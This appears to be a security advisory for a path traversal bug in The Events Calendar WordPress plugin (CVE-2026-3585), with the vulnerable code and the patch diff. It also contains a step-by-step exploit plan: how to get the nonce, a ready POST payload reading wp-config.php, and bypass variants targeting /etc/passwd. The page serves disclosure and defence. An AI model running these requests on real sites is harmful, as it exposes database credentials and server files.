The Events Calendar <= 6.15.17 - Authenticated (Author+) Arbitrary File Read via ajax_create_import
Description
The The Events Calendar plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 6.15.17 via the 'ajax_create_import' function. This makes it possible for authenticated attackers, with Author-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=6.15.17What Changed in the Fix
Changes introduced in v6.15.17.1
Source Code
WordPress.org SVN# Research Plan: CVE-2026-3585 Path Traversal in The Events Calendar ## 1. Vulnerability Summary The Events Calendar plugin is vulnerable to an authenticated Path Traversal vulnerability via the `ajax_create_import` function (typically registered as the AJAX action `tribe_aggregator_create_import`)…
Show full research plan
Research Plan: CVE-2026-3585 Path Traversal in The Events Calendar
1. Vulnerability Summary
The Events Calendar plugin is vulnerable to an authenticated Path Traversal vulnerability via the ajax_create_import function (typically registered as the AJAX action tribe_aggregator_create_import). The vulnerability exists because the plugin fails to properly validate the file parameter when initiating a CSV import. This allows an attacker with at least Author-level permissions to provide a path to an arbitrary file on the server (e.g., wp-config.php), which the plugin then reads and returns the contents of as part of the "import preview" process.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
tribe_aggregator_create_import(inferred from common plugin naming conventions for theajax_create_importmethod) - Parameters:
action:tribe_aggregator_create_importorigin:csvcontent_type:tribe_eventsfile: The traversal payload (e.g.,../../../../wp-config.php)nonce: A valid nonce for the aggregator service.
- Authentication: Authenticated (Author or above).
- Preconditions: The "Event Aggregator" feature must be functional (included in the free version for CSV imports).
3. Code Flow
- Entry Point: The AJAX handler for
tribe_aggregator_create_importis triggered. - Controller: The
ajax_create_importmethod (likely inTribe__Events__Aggregator__ServiceorTribe__Events__Aggregator__Controller) is called. - Record Creation: It creates a new import record of type
CSV, usingTribe__Events__Aggregator__Record__CSV. - Meta Assignment: The
fileparameter from the request is stored in the record's metadata without sufficient sanitization against path traversal. - Data Processing: The
queue_import()method insrc/Tribe/Aggregator/Record/CSV.phpis called. - File Reading:
queue_import()callsget_csv_data(). - Sink:
get_csv_data()callsget_file_path(), which retrieves the traversal path from meta. It then instantiatesTribe__Events__Importer__File_Reader( $file_path ). - Output: The
File_Readeropens the file, anddo_import_preview()parses the lines of the target file (likewp-config.php) as CSV rows, returning them in the AJAX response.
4. Nonce Acquisition Strategy
The Aggregator nonces are typically localized in the WordPress admin area on the Events Import page.
- Identify Page: The Import page is located at
/wp-admin/edit.php?post_type=tribe_events&page=aggregator. - Access Page: Navigate to this URL as an Author user.
- Extract Nonce: The nonce is contained in the
tribe_aggregatorglobal JavaScript object. - Script Variable:
window.tribe_aggregator?.nonces?.create_import(inferred).
5. Exploitation Strategy
Step 1: Authenticate
Log in to the WordPress instance as a user with the Author role.
Step 2: Obtain Nonce
- Navigate to
http://localhost:8080/wp-admin/edit.php?post_type=tribe_events&page=aggregator. - Execute JS via
browser_eval:window.tribe_aggregator.nonces.create_import
Step 3: Trigger Arbitrary File Read
Send a POST request to admin-ajax.php using the http_request tool.
Request Details:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=tribe_aggregator_create_import&origin=csv&content_type=tribe_events&file=../../../../wp-config.php&nonce=[NONCE_VALUE]
Step 4: Analyze Response
The response should be a JSON object containing a data key. Inside data.items, each element represents a "row" from the file. For wp-config.php, the content of the file will be mapped into the items array.
6. Test Data Setup
- Create an Author user:
wp user create attacker attacker@example.com --role=author --user_pass=password - Ensure "The Events Calendar" is active:
wp plugin activate the-events-calendar - Ensure the
wp-config.phpfile is in the standard location (4 directories up from the uploads folder where the plugin usually looks).
7. Expected Results
A successful exploit will return a JSON response similar to:
{
"success": true,
"data": {
"import_id": 123,
"items": [
{ "Unknown Column 1": "<?php" },
{ "Unknown Column 1": "/**" },
{ "Unknown Column 1": " * The base configuration for WordPress" },
{ "Unknown Column 1": " * ..." },
{ "Unknown Column 1": "define( 'DB_NAME', 'wordpress' );" }
],
"columns": ["Unknown Column 1"]
}
}
8. Verification Steps
- Use
wp_clito confirm the location ofwp-config.php:ls -la /var/www/html/wp-config.php. - Compare the output from the AJAX response with the actual content of
wp-config.php. - Check the
wp_poststable for the created import record:wp post list --post_type=tribe_aggregator_record.
9. Alternative Approaches
If the file parameter requires a specific extension or if get_file_path() prepends a directory:
- Null Byte: Try
../../../../wp-config.php%00.csv(if PHP version < 5.3.4, unlikely here). - Extension bypass: If the code checks for
.csv, try../../../../wp-config.php#.csv. - Absolute Path: Try
/etc/passwddirectly. - Record Retrieval: If the initial AJAX call only creates the record but doesn't return data, find the
import_idand call the "preview" action:action=tribe_aggregator_get_preview&import_id=[ID]&nonce=[NONCE].
Summary
The Events Calendar plugin is vulnerable to an authenticated Path Traversal vulnerability through its Event Aggregator CSV import feature. Attackers with Author-level permissions can exploit this by providing a path to sensitive files (e.g., wp-config.php) in the 'file' parameter, which the plugin then reads and displays in the import preview response.
Vulnerable Code
// src/Tribe/Aggregator/Record/CSV.php:309 /** * Returns the path to the CSV file. * * @since 4.6.15 * * @return bool|false|string Either the absolute path to the CSV file or `false` on failure. */ public function get_file_path() { if ( empty( $this->meta['file'] ) ) { return false; } $file_path = $this->meta['file']; if ( file_exists( $this->meta['file'] ) ) { $file_path = realpath( $this->meta['file'] ); } return $file_path && file_exists( $file_path ) ? $file_path : false; } --- // src/Tribe/Aggregator/Record/CSV.php:83 public function get_csv_data() { if ( empty( $this->meta['file'] ) || ! $file_path = $this->get_file_path() ) { return $this->set_status_as_failed( tribe_error( 'core:aggregator:invalid-csv-file' ) ); } $content_type = str_replace( 'tribe_', '', $this->meta['content_type'] ); $file_reader = new Tribe__Events__Importer__File_Reader( $file_path ); $importer = Tribe__Events__Importer__File_Importer::get_importer( $content_type, $file_reader ); $this->update_meta( 'source_name', basename( $file_path ) ); $rows = $importer->do_import_preview();
Security Fix
@@ -309,6 +309,7 @@ * Returns the path to the CSV file. * * @since 4.6.15 + * @since 6.15.17.1 Strengthen file type and location checks during aggregator imports. * * @return bool|false|string Either the absolute path to the CSV file or `false` on failure. */ @@ -319,6 +320,21 @@ $file_path = realpath( $this->meta['file'] ); } + if ( $file_path ) { + // Only allow CSV files — reject any other extension to prevent file disclosure. + $filetype = wp_check_filetype( $file_path ); + if ( empty( $filetype['ext'] ) || 'csv' !== strtolower( $filetype['ext'] ) ) { + return false; + } + + // Restrict the file to the WordPress uploads directory to prevent path traversal. + $upload_info = wp_upload_dir(); + $uploads_base = realpath( $upload_info['basedir'] ); + if ( false === $uploads_base || 0 !== strpos( $file_path, trailingslashit( $uploads_base ) ) ) { + return false; + } + } + return $file_path && file_exists( $file_path ) ? $file_path : false; }
Exploit Outline
To exploit this vulnerability, an attacker with Author-level access must first obtain a valid nonce for the 'create_import' action, which is typically found in the global JavaScript object `tribe_aggregator.nonces.create_import` on the plugin's Aggregator page (/wp-admin/edit.php?post_type=tribe_events&page=aggregator). The attacker then sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `tribe_aggregator_create_import`, `origin` set to `csv`, and the `file` parameter containing a path traversal string (e.g., `../../../../wp-config.php`). The plugin's AJAX handler processes the file path, and since the initial request triggers an import preview, it reads the content of the targeted file and returns it as a JSON object, where the lines of the file are parsed into the `items` array.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.